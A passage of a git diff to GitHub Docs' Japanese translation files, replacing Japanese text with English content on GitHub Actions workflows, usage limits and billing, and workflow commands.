Requestを作成するたびに、ソフトウェアテストスクリプトを実行するコマンドを自動的に実行できます。 +{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. -この図は、{% data variables.product.prodname_actions %} を使用してソフトウェアテストスクリプトを自動的に実行する方法を示しています。 イベントは、_ジョブ_を含む_ワークフロー_を自動的にトリガーします。 次に、ジョブは_ステップ_を使用して、_アクション_が実行される順序を制御します。 これらのアクションは、ソフトウェアテストを自動化するコマンドです。 +{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. -![ワークフローの概要](/assets/images/help/images/overview-actions-simple.png) +{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. -## {% data variables.product.prodname_actions %} のコンポーネント +## The components of {% data variables.product.prodname_actions %} -以下は、ジョブを実行するために連動する複数の {% data variables.product.prodname_actions %} コンポーネントのリストです。 これらのコンポーネントがどのように相互作用するかを確認できます。 +You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more _jobs_ which can run in sequential order or in parallel. Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify in your workflow. -![コンポーネントとサービスの概要](/assets/images/help/images/overview-actions-design.png) +![Workflow overview](/assets/images/help/images/overview-actions-simple.png) -### ワークフロー +### Workflows -ワークフローは、リポジトリに追加する自動化された手順です。 ワークフローは 1 つ以上のジョブで構成されており、スケジュールまたはイベントによってトリガーできます。 ワークフローを使用して、{% data variables.product.prodname_dotcom %} でプロジェクトをビルド、テスト、パッケージ、リリース、またはデプロイできます。 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} +A workflow is a configurable automated process that will run one or more jobs. Workflows are defined by a YAML file checked in to your repository and will run when triggered by an event in your repository, or they can be triggered manually, or at a defined schedule. -### イベント +Your repository can have multiple workflows in a repository, each of which can perform a different set of steps. For example, you can have one workflow to build and test pull requests, another workflow to deploy your application every time a release is created, and still another workflow that adds a label every time someone opens a new issue. -イベントは、ワークフローをトリガーする特定のアクティビティです。 たとえば、誰かがコミットをリポジトリにプッシュした場合、あるいはIssueもしくはプルリクエストが作成された場合、{% data variables.product.prodname_dotcom %}からアクティビティを発生させることができます。 [リポジトリディスパッチ webhook](/rest/reference/repos#create-a-repository-dispatch-event) を使用して、外部イベントが発生したときにワークフローをトリガーすることもできます。 ワークフローのトリガーに使用できるイベントの完全なリストについては、[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)を参照してください。 +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} -### ジョブ +### Events -ジョブは、同じランナーで実行される一連のステップです。 デフォルトでは、複数のジョブを含むワークフローは、それらのジョブを並行して実行します。 ジョブを順番に実行するようにワークフローを設定することもできます。 たとえば、ワークフローにコードのビルドとテストという2つのシーケンシャルなジョブを持たせ、テストジョブをビルドジョブのステータスに依存させることができます。 ビルドジョブが失敗した場合は、テストジョブは実行されません。 +An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually. -### ステップ +For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows). -ステップは、ジョブでコマンドを実行できる個々のタスクです。 ステップは、_アクション_またはシェルコマンドのいずれかです。 ジョブの各ステップは同じランナーで実行され、そのジョブのアクションが互いにデータを共有できるようにします。 +### Jobs -### アクション +A job is a set of _steps_ in a workflow that execute on the same runner. Each step is either a shell script that will be executed, or an _action_ that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. -_アクション_は、_ジョブ_を作成するために_ステップ_に結合されるスタンドアロンコマンドです。 アクションは、ワークフローの最小のポータブルな構成要素です。 独自のアクションを作成することも、{% data variables.product.prodname_dotcom %} コミュニティによって作成されたアクションを使用することもできます。 ワークフローでアクションを使うには、それをステップとして含めなければなりません。 +You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other. When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run. For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs. The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run. -### ランナー +### Actions -{% ifversion ghae %} ランナーは、[{% data variables.product.prodname_actions %}ランナーアプリケーション](https://github.com/actions/runner)がインストールされているサーバーです。 {% data variables.product.prodname_ghe_managed %} では、クラウド内のインスタンスにバンドルされているセキュリティ強化された {% data variables.actions.hosted_runner %} を使用できます。 ランナーは、使用可能なジョブをリッスンし、一度に 1 つのジョブを実行し、進行状況、ログ、および結果を {% data variables.product.prodname_dotcom %} に返します。 {% data variables.actions.hosted_runner %} は、新しい仮想環境で各ワークフロージョブを実行します。 詳しい情報については「[{% data variables.actions.hosted_runner %}について](/actions/using-github-hosted-runners/about-ae-hosted-runners)」を参照してください。 +An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your workflow files. An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. + +You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. + +### Runners + +{% ifversion ghae %} +{% data reusables.actions.about-runners %} For {% data variables.product.prodname_ghe_managed %}, you can use the security hardened {% data variables.actions.hosted_runner %}s that are bundled with your instance in the cloud. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% else %} -ランナーは、[{% data variables.product.prodname_actions %}ランナーアプリケーション](https://github.com/actions/runner)がインストールされているサーバーです。 {% data variables.product.prodname_dotcom %} がホストするランナーを使用することも、自分でランナーをホストすることもできます。 ランナーは、使用可能なジョブをリッスンし、一度に 1 つのジョブを実行し、進行状況、ログ、および結果を {% data variables.product.prodname_dotcom %} に返します。 {% data variables.product.prodname_dotcom %} ホストランナーは Ubuntu Linux、Microsoft Windows、macOS に基づいており、ワークフローの各ジョブは新しい仮想環境で実行されます。 {% data variables.product.prodname_dotcom %} ホストランナーについては、[{% data variables.product.prodname_dotcom %} ホストランナーについて](/actions/using-github-hosted-runners/about-github-hosted-runners)」を参照してください。 別のオペレーティングシステムが必要な場合、または特定のハードウェア設定が必要な場合は、自分のランナーをホストできます。 セルフホストランナーの詳細については、「[自分のランナーをホストする](/actions/hosting-your-own-runners)」を参照してください。 +{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% data variables.product.prodname_dotcom %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% endif %} -## サンプルワークフローを作成する +## Create an example workflow -{% data variables.product.prodname_actions %}は、YAML 構文を使用して、イベント、ジョブ、およびステップを定義します。 これらの YAML ファイルは、コードリポジトリの `.github/workflows` というディレクトリに保存されます。 +{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow. Each workflow is stored as a separate YAML file in your code repository, in a directory called `.github/workflows`. -コードがプッシュされるたびに一連のコマンドを自動的にトリガーするサンプルワークフローをリポジトリに作成できます。 このワークフローでは、{% data variables.product.prodname_actions %} がプッシュされたコードをチェックアウトし、ソフトウェアの依存関係をインストールして、`bats-v` を実行します。 +You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the software dependencies, and runs `bats -v`. -1. リポジトリに、ワークフローファイルを保存するための `.github/workflows/` ディレクトリを作成します。 -1. `.github/workflows/` ディレクトリに、`learn-github-actions.yml` という名前の新しいファイルを作成し、次のコードを追加します。 +1. In your repository, create the `.github/workflows/` directory to store your workflow files. +1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code. ```yaml name: learn-github-actions on: [push] @@ -84,13 +91,13 @@ _アクション_は、_ジョブ_を作成するために_ステップ_に結 - run: npm install -g bats - run: bats -v ``` -1. これらの変更をコミットして、{% data variables.product.prodname_dotcom %} リポジトリにプッシュします。 +1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository. -これで、新しい {% data variables.product.prodname_actions %} ワークフローファイルがリポジトリにインストールされ、別のユーザがリポジトリに変更をプッシュするたびに自動的に実行されます。 ジョブの実行履歴の詳細については、「[ワークフローのアクティビティを表示する](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)」を参照してください。 +Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. For details about a job's execution history, see "[Viewing the workflow's activity](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)." -## ワークフローファイルを理解する +## Understanding the workflow file -YAML 構文を使用してワークフローファイルを作成する方法を理解しやすくするために、このセクションでは、導入例の各行について説明します。 +To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example: @@ -101,7 +108,7 @@ YAML 構文を使用してワークフローファイルを作成する方法を ``` @@ -112,7 +119,7 @@ YAML 構文を使用してワークフローファイルを作成する方法を ``` @@ -123,7 +130,7 @@ YAML 構文を使用してワークフローファイルを作成する方法を ``` @@ -134,7 +141,7 @@ YAML 構文を使用してワークフローファイルを作成する方法を ``` @@ -145,7 +152,7 @@ YAML 構文を使用してワークフローファイルを作成する方法を ``` @@ -156,7 +163,7 @@ YAML 構文を使用してワークフローファイルを作成する方法を ``` @@ -167,7 +174,7 @@ YAML 構文を使用してワークフローファイルを作成する方法を ``` @@ -180,7 +187,7 @@ YAML 構文を使用してワークフローファイルを作成する方法を ``` @@ -191,7 +198,7 @@ YAML 構文を使用してワークフローファイルを作成する方法を ``` @@ -202,42 +209,49 @@ YAML 構文を使用してワークフローファイルを作成する方法を ```
                    - オプション - {% data variables.product.prodname_dotcom %} リポジトリの [Actions] タブに表示されるワークフローの名前。 + Optional - The name of the workflow as it will appear in the Actions tab of the {% data variables.product.prodname_dotcom %} repository.
                    - ワークフローファイルを自動的にトリガーするイベントを指定します。 この例では push イベントを使用しているため、別のユーザが変更をリポジトリにプッシュするたびにジョブが実行されます。 特定のブランチ、パス、またはタグでのみ実行するようにワークフローを設定できます。 ブランチ、パス、またはタグを含むまたは除外する構文の例については、「{% data variables.product.prodname_actions %} のワークフロー構文」を参照してください。 +Specifies the trigger for this workflow. This example uses the push event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request. This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see "Workflow syntax for {% data variables.product.prodname_actions %}."
                    - learn-github-actions ワークフローファイルで実行されるすべてのジョブをグループ化します。 + Groups together all the jobs that run in the learn-github-actions workflow.
                    - jobs セクション内に保存されている check-bats-version ジョブの名前を定義します。 +Defines a job named check-bats-version. The child keys will define properties of the job.
                    - Ubuntu Linux ランナーで実行するようにジョブを設定します。 これは、ジョブが GitHub によってホストされている新しい仮想マシンで実行されるということです。 他のランナーを使用した構文例については、「{% data variables.product.prodname_actions %} のワークフロー構文」を参照してください。 + Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "Workflow syntax for {% data variables.product.prodname_actions %}."
                    - check-bats-version ジョブで実行されるすべてのステップをグループ化します。 このセクションの下にネストされている各アイテム、個別のアクションもしくはシェルコマンドです。 + Groups together all the steps that run in the check-bats-version job. Each item nested under this section is a separate action or shell script.
                    - uses キーワードは、actions/checkout@v2 という名前のコミュニティアクションの v2 を取得するようにジョブに指示します。 これは、リポジトリをチェックアウトしてランナーにダウンロードし、コードに対してアクション（テストツールなど）を実行できるようにします。 ワークフローがリポジトリのコードに対して実行されるとき、またはリポジトリで定義されたアクションを使用しているときはいつでも、チェックアウトアクションを使用する必要があります。 +The uses keyword specifies that this step will run v2 of the actions/checkout action. This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code.
                    - This step uses the actions/setup-node@v2 action to install the specified version of the node software package on the runner, which gives you access to the npm command. + This step uses the actions/setup-node@v2 action to install the specified version of the Node.js (this example uses v14). This puts both the node and npm commands in your PATH.
                    - run キーワードは、ランナーでコマンドを実行するようにジョブに指示します。 この場合、npm を使用して bats ソフトウェアテストパッケージをインストールしています。 + The run keyword tells the job to execute a command on the runner. In this case, you are using npm to install the bats software testing package.
                    - 最後に、ソフトウェアバージョンを出力するパラメータを指定して bats コマンドを実行します。 + Finally, you'll run the bats command with a parameter that outputs the software version.
                    -### ワークフローファイルの視覚化 +### Visualizing the workflow file -この図では、作成したワークフローファイルと、{% data variables.product.prodname_actions %} コンポーネントが階層にどのように整理されているかを確認できます。 各ステップは、単一のアクションまたはシェルコマンドを実行します。 ステップ 1 と 2 は、ビルド済みのコミュニティアクションを使用します。 ステップ 3 と 4 では、ランナーで直接シェルコマンドを実行します。 ワークフローのビルド済みアクションの詳細については、「[アクションの検索とカスタマイズ](/actions/learn-github-actions/finding-and-customizing-actions)」を参照してください。 +In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." -![ワークフローの概要](/assets/images/help/images/overview-actions-event.png) +![Workflow overview](/assets/images/help/images/overview-actions-event.png) -## ジョブのアクティビティを表示する +## Viewing the workflow's activity -ジョブの実行が開始されると、{% ifversion fpt or ghes > 3.0 or ghae or ghec %}実行の進行状況{% endif %}の視覚化グラフが表示され、{% data variables.product.prodname_dotcom %} での各ステップのアクティビティが表示されます。 +Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} -1. リポジトリ名の下で**Actions（アクション）**をクリックしてください。 ![リポジトリに移動](/assets/images/help/images/learn-github-actions-repository.png) -1. 左サイドバーで、表示するワークフローをクリックします。 ![ワークフロー結果のスクリーンショット](/assets/images/help/images/learn-github-actions-workflow.png) -1. [Workflow runs] で、表示する実行の名前をクリックします。 ![ワークフロー実行のスクリーンショット](/assets/images/help/images/learn-github-actions-run.png) +1. Under your repository name, click **Actions**. + ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png) +1. In the left sidebar, click the workflow you want to see. + ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png) +1. Under "Workflow runs", click the name of the run you want to see. + ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png) {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -1. [**Jobs**] または視覚化グラフで、表示するジョブをクリックします。 ![ジョブを選択](/assets/images/help/images/overview-actions-result-navigate.png) +1. Under **Jobs** or in the visualization graph, click the job you want to see. + ![Select job](/assets/images/help/images/overview-actions-result-navigate.png) {% endif %} {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -1. 各ステップの結果を表示します。 ![ワークフロー実行の詳細のスクリーンショット](/assets/images/help/images/overview-actions-result-updated-2.png) +1. View the results of each step. + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png) {% elsif ghes %} -1. ジョブ名をクリックして、各ステップの結果を確認します。 ![ワークフロー実行の詳細のスクリーンショット](/assets/images/help/images/overview-actions-result-updated.png) +1. Click on the job name to see the results of each step. + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated.png) {% else %} -1. ジョブ名をクリックして、各ステップの結果を確認します。 ![ワークフロー実行の詳細のスクリーンショット](/assets/images/help/images/overview-actions-result.png) +1. Click on the job name to see the results of each step. + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result.png) {% endif %} -## 次のステップ +## Next steps -{% data variables.product.prodname_actions %} について詳しくは、「[アクションの検索とカスタマイズ](/actions/learn-github-actions/finding-and-customizing-actions)」を参照してください。 +To continue learning about {% data variables.product.prodname_actions %}, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." To understand how billing works for {% data variables.product.prodname_actions %}, see "[About billing for {% data variables.product.prodname_actions %}](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)". -## サポートへの連絡 +## Contacting support {% data reusables.github-actions.contacting-support %} diff --git a/translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md index 418934a091..73c64d5af4 100644 --- a/translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md +++ b/translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md @@ -1,6 +1,6 @@ --- -title: 使用制限、支払い、管理 -intro: '{% data variables.product.prodname_actions %} ワークフローには使用制限があります。 使用料は、リポジトリの無料の時間とストレージの量を超えるリポジトリに適用されます。' +title: 'Usage limits, billing, and administration' +intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.' redirect_from: - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions - /actions/reference/usage-limits-billing-and-administration @@ -18,84 +18,86 @@ shortTitle: Workflow billing & limits {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## {% data variables.product.prodname_actions %}の支払いについて +## About billing for {% data variables.product.prodname_actions %} {% ifversion fpt or ghec %} -{% data reusables.github-actions.actions-billing %} 詳細は「[{% data variables.product.prodname_actions %} の支払いについて](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)」を参照してください。 +{% data reusables.github-actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." {% else %} GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %}s that use self-hosted runners. {% endif %} -## 利用の可否 +## Availability {% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %} -## 使用制限 +## Usage limits {% ifversion fpt or ghec %} -There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. これらの制限は変更されることがあります。 +There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change. {% note %} -**ノート:** セルフホストランナーの場合、さまざまな使用制限が適用されます。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)」を参照してください。 +**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." {% endnote %} -- **ジョブの実行時間** - ワークフロー中のそれぞれのジョブは、最大で6時間の間実行できます。 ジョブがこの制限に達すると、ジョブは終了させられ、完了できずに失敗します。 +- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete. {% data reusables.github-actions.usage-workflow-run-time %} {% data reusables.github-actions.usage-api-requests %} -- **並行ジョブ** - アカウント内で実行できる並行ジョブ数は、以下の表に示すとおり、利用しているGitHubのプランによります。 この制限を超えた場合、超過のジョブはキューイングされます。 +- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as indicated in the following table. If exceeded, any additional jobs are queued. - | GitHubプラン | 最大同時ジョブ | 最大同時macOSジョブ | - | ---------- | ------- | ------------ | - | 無料 | 20 | 5 | - | Pro | 40 | 5 | - | Team | 60 | 5 | - | Enterprise | 180 | 50 | -- **ジョブマトリックス** - {% data reusables.github-actions.usage-matrix-limits %} + | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs | + |---|---|---| + | Free | 20 | 5 | + | Pro | 40 | 5 | + | Team | 60 | 5 | + | Enterprise | 180 | 50 | +- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %} {% data reusables.github-actions.usage-workflow-queue-limits %} {% else %} -使用制限は、セルフホストランナーに適用されます。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)」を参照してください。 +Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." {% endif %} {% ifversion fpt or ghec %} -## 利用のポリシー +## Usage policy -使用制限に加えて、{% data variables.product.prodname_actions %}を[GitHubの利用規約](/free-pro-team@latest/github/site-policy/github-terms-of-service/)内で使っていることを確認しなければなりません。 {% data variables.product.prodname_actions %}の固有の規約に関する詳しい情報については、[GitHubの追加製品規約](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage)を参照してください。 +In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage). {% endif %} {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} ## Billing for reusable workflows -If you reuse a workflow, billing is always associated with the caller workflow. For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dotcom %}-hosted runners{% endif %}{% ifversion ghae %}{% data variables.actions.hosted_runner %}s{% endif %} is always evaluated using only the caller's context. The caller cannot use {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dotcom %}-hosted runners{% endif %}{% ifversion ghae %}{% data variables.actions.hosted_runner %}s{% endif %} from the called repository. + +For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." {% endif %} -## 成果物とログの保持ポリシー +## Artifact and log retention policy -リポジトリ、Organization、または Enterprise アカウントの成果物とログの保持期間を設定できます。 +You can configure the artifact and log retention period for your repository, organization, or enterprise account. {% data reusables.actions.about-artifact-log-retention %} -詳しい情報については、以下を参照してください。 +For more information, see: - "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)" - "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)" - "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" -## リポジトリあるいはOrganizationでの{% data variables.product.prodname_actions %}の無効化もしくは制限 +## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization {% data reusables.github-actions.disabling-github-actions %} -詳しい情報については、以下を参照してください。 +For more information, see: - "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)" -- 「[Organization の {% data variables.product.prodname_actions %} を無効化または制限する](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)」 +- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" - "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" -## ワークフローの無効化と有効化 +## Disabling and enabling workflows -{% data variables.product.prodname_dotcom %} のリポジトリで個々のワークフローを有効化または無効化できます。 +You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}. {% data reusables.actions.scheduled-workflows-disabled %} -詳しい情報については、「[ワークフローの無効化と有効化](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)」を参照してください。 +For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)." diff --git a/translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md b/translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md index ea85785839..ef1dd1c4bc 100644 --- a/translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md +++ b/translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: GitHub Actionsのワークフローコマンド -shortTitle: ワークフロー コマンド -intro: ワークフロー内あるいはアクションのコード内でシェルコマンドを実行する際には、ワークフローコマンドを利用できます。 +title: Workflow commands for GitHub Actions +shortTitle: Workflow commands +intro: You can use workflow commands when running shell commands in a workflow or in an action's code. redirect_from: - /articles/development-tools-for-github-actions - /github/automating-your-workflow-with-github-actions/development-tools-for-github-actions @@ -20,11 +20,11 @@ versions: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## ワークフローコマンドについて +## About workflow commands -アクションは、 環境変数を設定する、他のアクションに利用される値を出力する、デバッグメッセージを出力ログに追加するなどのタスクを行うため、ランナーマシンとやりとりできます。 +Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks. -ほとんどのワークフローコマンドは特定の形式で `echo` コマンドを使用しますが、他のワークフローコマンドはファイルへの書き込みによって呼び出されます。 詳しい情報については、「[環境ファイル](#environment-files)」を参照してください。 +Most workflow commands use the `echo` command in a specific format, while others are invoked by writing to a file. For more information, see ["Environment files".](#environment-files) ``` bash echo "::workflow-command parameter1={data},parameter2={data}::{command value}" @@ -32,25 +32,25 @@ echo "::workflow-command parameter1={data},parameter2={data}::{command value}" {% note %} -**ノート:** ワークフローコマンドおよびパラメータ名では、大文字と小文字は区別されません。 +**Note:** Workflow command and parameter names are not case-sensitive. {% endnote %} {% warning %} -**警告：** コマンドプロンプトを使っているなら、ワークフローコマンドを使う際にダブルクォート文字（`"`）は省いてください。 +**Warning:** If you are using Command Prompt, omit double quote characters (`"`) when using workflow commands. {% endwarning %} -## ワークフローコマンドを使ったツールキット関数へのアクセス +## Using workflow commands to access toolkit functions -[actions/toolkit](https://github.com/actions/toolkit)には、ワークフローコマンドとして実行できる多くの関数があります。 `::`構文を使って、YAMLファイル内でワークフローコマンドを実行してください。それらのコマンドは`stdout`を通じてランナーに送信されます。 たとえば、コードを使用して出力を設定する代わりに、以下のようにします。 +The [actions/toolkit](https://github.com/actions/toolkit) includes a number of functions that can be executed as workflow commands. Use the `::` syntax to run the workflow commands within your YAML file; these commands are then sent to the runner over `stdout`. For example, instead of using code to set an output, as below: ```javascript core.setOutput('SELECTED_COLOR', 'green'); ``` -ワークフローで `set-output` コマンドを使用して、同じ値を設定できます。 +You can use the `set-output` command in your workflow to set the same value: {% raw %} ``` yaml @@ -62,52 +62,52 @@ core.setOutput('SELECTED_COLOR', 'green'); ``` {% endraw %} -以下の表は、ワークフロー内で使えるツールキット関数を示しています。 +The following table shows which toolkit functions are available within a workflow: -| ツールキット関数 | 等価なワークフローのコマンド | -| --------------------- | --------------------------------------------------------------------- | -| `core.addPath` | Accessible using environment file `GITHUB_PATH` | -| `core.debug` | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} -| `core.notice` | `notice` -{% endif %} -| `core.error` | `error` | -| `core.endGroup` | `endgroup` | -| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` | -| `core.getInput` | 環境変数の`INPUT_{NAME}`を使ってアクセス可能 | -| `core.getState` | 環境変数の`STATE_{NAME}`を使ってアクセス可能 | -| `core.isDebug` | 環境変数の`RUNNER_DEBUG`を使ってアクセス可能 | -| `core.saveState` | `save-state` | -| `core.setFailed` | `::error`及び`exit 1`のショートカットとして使われる | -| `core.setOutput` | `set-output` | -| `core.setSecret` | `add-mask` | -| `core.startGroup` | `group` | -| `core.warning` | `warning` | +| Toolkit function | Equivalent workflow command | +| ----------------- | ------------- | +| `core.addPath` | Accessible using environment file `GITHUB_PATH` | +| `core.debug` | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} +| `core.notice` | `notice` |{% endif %} +| `core.error` | `error` | +| `core.endGroup` | `endgroup` | +| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` | +| `core.getInput` | Accessible using environment variable `INPUT_{NAME}` | +| `core.getState` | Accessible using environment variable `STATE_{NAME}` | +| `core.isDebug` | Accessible using environment variable `RUNNER_DEBUG` | +| `core.saveState` | `save-state` | +| `core.setCommandEcho` | `echo` | +| `core.setFailed` | Used as a shortcut for `::error` and `exit 1` | +| `core.setOutput` | `set-output` | +| `core.setSecret` | `add-mask` | +| `core.startGroup` | `group` | +| `core.warning` | `warning` | -## 出力パラメータの設定 +## Setting an output parameter ``` ::set-output name={name}::{value} ``` -アクションの出力パラメータを設定します。 +Sets an action's 